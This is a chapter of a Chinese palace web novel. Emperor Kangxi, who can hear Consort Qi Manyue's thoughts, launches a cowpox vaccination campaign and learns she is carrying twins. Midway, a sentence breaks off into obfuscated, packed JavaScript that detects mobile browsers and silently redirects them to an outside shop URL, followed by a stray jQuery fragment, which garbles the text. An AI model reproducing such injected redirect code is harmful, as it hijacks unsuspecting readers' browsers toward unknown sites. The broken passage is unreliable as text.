皇贵妃生完孩子实际上已经很晚了,齐满月今日又特意叮嘱了宫人早点关闭宫门,所以当康熙来到永寿宫门前时,看到的就是紧闭的红色大门。
“皇上?”梁九功躬身轻声请示道。
康熙揉了揉眉心,犹豫了好半晌后还是微微抬了下下巴示意梁九功敲门。
可就在梁九功抬起手时,他又突然开口打断:“罢了,如今襄嫔身子也重,还是别打扰她了。”
康熙深吸了几口气,那种迫切想从齐满月身上获得一些能量的感觉被他强硬压了下去,他看向上方写着永寿宫字样的牌匾,对抬着轿辇的太监摆了摆手:“回去吧。”
他此时对见到齐满月骤然有了一种莫名的恐慌,他不想在这个时候从对方心声中听到更不好的未来消息,也怕自己按捺不住脾气将怒火泼洒在这个无辜人身上。
梁九功伺候他那么多年,对他不敢说绝对了解,却也能猜个七七八八,纵然因为康熙对齐满月的盛宠而曾诧异过,却也能在这次将对方的心意猜出个几成。
暗自在心中叹了口气,梁九功突然有种想要怜悯后宫其他妃嫔的冲动。
如果是她们,康熙绝不会考虑如此之多。
他纵然不知道康熙为什么会突然反悔,却也明白命令变化之下的康熙对齐满月的那份顾怜,那并不是该出现在帝王身上的情绪,却此刻被这位帝王送给了一个嫔妃……
康熙躺在龙床上,看着床幔许久后才缓缓闭上眼睛,他知道孩子的情况瞒不了皇贵妃多久,他需要想想该怎么对表妹阐明情况,该怎么安慰即将失去孩子的母亲……
次日的早朝上,康熙处理了一些政务后,看着明珠和索额图眼眸微垂,许久后才抬眼说道:“数月前,朕要求太医和黄卿、戴卿的友人一同整理,从盛京带来的旧藏的书册,竟然在书册中发现了可预防天花的方子,朕已经让太医院与这位民间神医同行前往民间探查。”
朝堂上瞬间安静下来,众位王公大臣彼此相视看了一眼,只觉得皇帝这个理由实在有些让他们不知道该怎么接话。
盛京旧藏的书册里发现了预防天花的方子?!他们身为满蒙皇亲贵胄怎么不知道?而且为什么前面几位帝王没发现?最重要的是,他们满蒙什么时候研究过天花?该不会是从前明旧库翻出来的吧?
种种念头萦绕心头,大家面面相觑下也看透了同僚眼中的惊诧,连明珠索额图也同样如此,甚至他二人还悄悄抬眼看了眼上方的帝王。
康熙当然知道这样的理由实在经不住探查,只是他并不在乎,只要天下百姓认为是他爱新觉罗一族找到的方子,这样的恩情自然也落在他们身上,至于真相谁能查的出呢?毕竟无论是民间神医还是那位太医都是绝对的满族人。
“数日前,太医与神医同时回京,以确定牛痘比人痘预防天花更安全,朕已安排死囚实验,目前百名死囚皆活。”
他没在意朝臣的眉眼官司,冷声吩咐道:“索额图、明珠!”
索额图和明珠暗自相视一眼,赶忙出列应了声。
“此事交于你二人处理,朕希望天下百姓皆种此疫苗,朕希望天下再无天花!”
索额图和明珠赶忙领命,可在心里却暗自叫苦。
若是皇帝承认这是汉人的法子,那些汉人们自然是欢欣鼓舞的去种痘,可偏偏明旨是满人的法子,如今民间可不算多安定,若是汉人强势反抗难不成再来一次扬州嘉定之难吗?
两人撇着对方帽子后面明显粗长了许多的辫子,眼眸不约而同的转了又转,算计的心思从心底爬出,这种事当然是给明珠/索额图才好,自己不过是个协助嘛。
康熙早就从齐满月心中知道了二者的未来,更知道自己长子和太子的两虎相争不乏这二人的推波助澜,若不是他现在猛然将二人踩下去会朝堂动荡,他怕是早些时日就下旨了。
此时他想的也是让二人多去民间跑跑,离京城远一点,纵然两子未来还是会相争,可也要争得掌握在自己手中才行。
若是齐满月在这个位置听到他的心声,怕是给他翻个大大的白眼,然后告诉他历史上就是他自以为一切都能掌握在自己手中,才闹出所谓的九龙夺嫡白白消耗了那么多国力在内部争斗中。
不过此刻她并没有心思关注这些,大早上起来她吃了个奶饽饽,不知道因为什么缘故就觉得肚子痛得厉害。
将云秀吓得赶忙让云月去叫太医,甚至她还下意识让云朵去通知皇上。
“云秀!”齐满月一把拉住她,“如今还在早朝,不准通知皇上。”
她额头上不住地滚落出豆大的汗珠,腹中如同一双大手在胡乱搅着,可她抓着云秀的手却不敢松开。
云秀赶忙应下,又蹲在她的身旁拿着帕子不住给她擦着。
身后的云梅咬着唇看了看齐满月,又看了看云秀,许久后满是担忧和恐惧的眼眸里终于下定决心,她悄然地从众人身边退去。
云秀没注意到她的动作,如今正全身心都放在齐满月身上,甚至在心里不住地求神拜佛,只盼着长生天不要伤害了她善良的娘娘。
云朵被吓得愣在原地,不过她呆的时间并不长,看着云秀被齐满月拉着不敢动弹,只能快速上前又喊了两个宫人帮忙将齐满月身上的大衣裳脱下,换了更日常的松便衣衫。
等太医给齐满月诊脉的时候,下朝后得知齐满月身体出问题的康熙也脸色难看的急匆匆而来。
这次他并没有乘坐御辇,反而是直接从乾清宫快步走来。
龙袍边角的海浪纹在他的抬脚间上下翻飞,将一片飘落在角落里未曾被宫人来得及清理的叶子重重扇飞,又轻轻落在他的身后。
抬手打断了宫人们的行礼,康熙冷冷扫过太医,转头对梁九功吩咐道:“将宋院使请来!”
梁九功应下后快速转身去安排。
见他离开后康熙才看向太医。
这位太医也姓宋,是老院使的侄子,深得对方真传,在整个太医院也是一位医术高明的御医,与为皇贵妃专司平安脉的梁御医,与太皇太后请平安脉的张御医都是下任左右院判的候选人。
可以说除了一般不会出山的院使,在两位院判之下,他的医术不敢说第一也敢说前三。
对他的医术,康熙极为放心,这才私下下令让对方专司永寿宫,可此时看着对方微微蹙眉的样子,他却更愿意相信老院使。
老院使如今已经年过六旬,梁九功专门给他安排了小太监背着他,这才在没多久后赶到了永寿宫。
他垂眸就要行礼,却被康熙抬手打断:“请宋先生为襄嫔诊脉吧。”
老院使微微颔首,快步走到宋御医面前,低声问了几句,才坐到梁九功递过来的绣墩上给齐满月诊脉。
许久后,就在齐满月痛苦的神情渐渐散去,汗珠也不再滚落时,他才起身。
康熙直接开口说道:“宋先生不必多礼了,直说就是。”
老院使眉眼带着不易察觉的惊讶,他有些趣味地扫了眼床上的襄嫔,才对着急的康熙说道:“娘娘并无大碍,只是腹中孩子……”
他这一停顿倒没觉得什么,只康熙觉得自己
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17636317|204029||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
眼前一黑,一种莫名的恐慌萦上心头,难道他要在短短数日内接连失去两个孩子吗?
幸而老院使带来的并非噩耗:“娘娘腹中痛乃是吃伤了,这些日子还是少吃些生冷的东西吧。”
康熙一噎,一个不争气的眼神就投向了床上眼睛不住躲闪的某人。
他正要再问刚刚老院使说的孩子是怎么回事,就听对方说道:“娘娘腹中怕不止一个孩子,只是……”
他慢悠悠地语气将康熙憋了个够呛,引得梁九功都忍不住用眼睛暗示他。
老院使却还是老神在在说道:“只是娘娘如今腹中孩子才四个月有余,多胎此时难以确定,不过以老臣经验,应是双胎无疑。”
康熙心中顿时涌上一种糅杂了恐慌、惊喜、不可置信的复杂情绪,他眼眸在齐满月的身上转了又转,他深知多胎妇人产子有多危险,孩童有多难以存活,他明白这一切也更因此而惶恐。
“妈耶?俩!?我怎么能怀俩?!没听说齐佳府有双胞胎基因啊?而且……生俩该不会按照规矩偷摸弄死一个吧?”
康熙刚刚那阵子不可名说的情绪瞬间被齐满月这几句心声立刻打断。
他按下无语的情绪,先是赏了老院使和宋太医,又让梁九功快去慈宁宫送消息,不忘叮嘱云秀日后盯紧了齐满月,不准她什么都往嘴里死命塞。
齐满月暗自翻着白眼,只觉得他多管闲事。
康熙交代完一切,坐在她的床边,握着她的手轻轻叹了口气:“你可把朕吓坏了。”
不等齐满月反应,他继续说道:“宫里虽未曾出过双子,可自古以来宫廷中就不乏双子诞生,这本是祥瑞之气你莫要随意听信谗言。”
齐满月有些诧异地扫了他一眼:“啥?他怎么知道我在想什么?难不成听得见我的心声?!离谱了点吧?我应该生活在一个科学的世界里吧?”
康熙忍不住抬手捏了捏她的小脸:“你呀,什么心思都挂在脸上。”
“不必担心,朕是皇帝,拥有四海,必然会护住你们母子三人。”
齐满月却没在意他的发誓,只在脑海里胡乱猜着:“哦~皇贵妃生的女儿身体不行他应该知道了,哎……也不怨皇贵妃和他,他们两个能有个孩子已经算不错了。”
康熙指尖微微一顿,一种莫名的、可能会令他恐惧的真相,似乎在这一刻要揭露了,他忍不住吸了口气,按下自己下意识想要逃避的冲动。
“皇贵妃和康熙从血脉上来说可是嫡亲的表兄妹了,康熙的娘和对方的爹可是亲兄妹!哎……近亲结婚能平安生下健康孩子本就是很难得,也难怪他们日后不仅再也没有孩子,后来的小佟佳氏入宫也不曾有过孩子。”
康熙瞳孔不自觉放大,他耳边响起一阵嗡鸣,几乎将齐满月的心声盖住,可那一句句心声还是传入了他的耳中。
“古人认为堂兄妹之间不能结婚,表兄妹之间可以,可从血脉上来说,都不是同一个爷爷奶奶的吗?兄弟之间和姊妹之间的血缘不都一样远吗?好歹也生下来个虽然体弱却正常的孩子,那些生下畸形儿的不也很多,只是没人会暴露出来而已。”
这样的话如同重锤一阵阵敲在康熙心上,他抿了抿唇,压下满心的情绪,看了眼齐满月:“朕那边还有政务,你自己好生休养,朕走了。”
齐满月诧异地看了眼对方离去的背影,却也没觉得如何,反正对方是皇帝做什么都很正常。
出乎意料的,康熙并没有去乾清宫,而是往慈宁宫去,他这一刻只想找那个将自己养大的老人好好地诉说一通……